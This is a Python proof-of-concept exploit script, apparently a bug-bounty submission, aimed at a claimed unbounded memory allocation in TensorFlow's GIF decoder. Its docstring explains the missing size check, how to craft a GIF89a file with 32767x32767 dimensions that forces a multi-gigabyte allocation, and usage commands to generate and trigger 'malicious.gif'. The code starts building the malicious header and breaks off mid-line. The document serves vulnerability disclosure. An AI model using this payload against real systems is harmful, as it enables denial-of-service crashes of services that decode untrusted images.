#!/usr/bin/env python3 """ PoC: TensorFlow GIF Decoder Unbounded Memory Allocation (DoS) CVE: TBD | CWE-770 | CVSS 7.5 Vulnerability: tensorflow/core/kernels/image/decode_image_op.cc — DecodeGifV2 computes total_pixels = num_frames * height * width * channels from GIF metadata and allocates that many bytes WITHOUT any upper bound check. Compare with DecodeBmpV2 in the SAME file which checks: OP_REQUIRES(context, total_bytes < (1LL << 30), errors::InvalidArgument("BMP total bytes exceeds 2^30")); GIF has NO equivalent check — attacker sets width/height in GIF header to trigger multi-gigabyte allocation. Attack: Craft a GIF89a file with Logical Screen Width/Height = 32767 (max uint16) and num_frames = 1. Total allocation attempt: ~3 GB. tf.io.decode_gif() on this file → OOM crash. Usage: python3 poc_exploit.py # generates malicious.gif python3 poc_exploit.py --trigger # also triggers via tf.io.decode_gif() Author: security research (huntr.com submission) """ import sys import os import struct OUTPUT_FILE = 'malicious_huge.gif' def create_malicious_gif(width: int = 32767, height: int = 32767) -> bytes: """ Craft a minimal GIF89a file with huge declared dimensions. GIF89a header format (first 13 bytes): Bytes 0-2: GIF signature 'GIF' Bytes 3-5: Version '89a' Bytes 6-7: Logical Screen Width (uint16 LE) Bytes 8-9: Logical Screen Height (uint16 LE) Byte 10: Packed field (Global Color Table Flag, etc.) Byte 11: Background Color Index Byte 12: Pixel Aspect Ratio TF reads width/height from this header and calls: allocate_output(0, TensorShape({num_frames, height, width, channels})) """ # GIF89a signature + header header = b'GIF89a' header += struct.pack('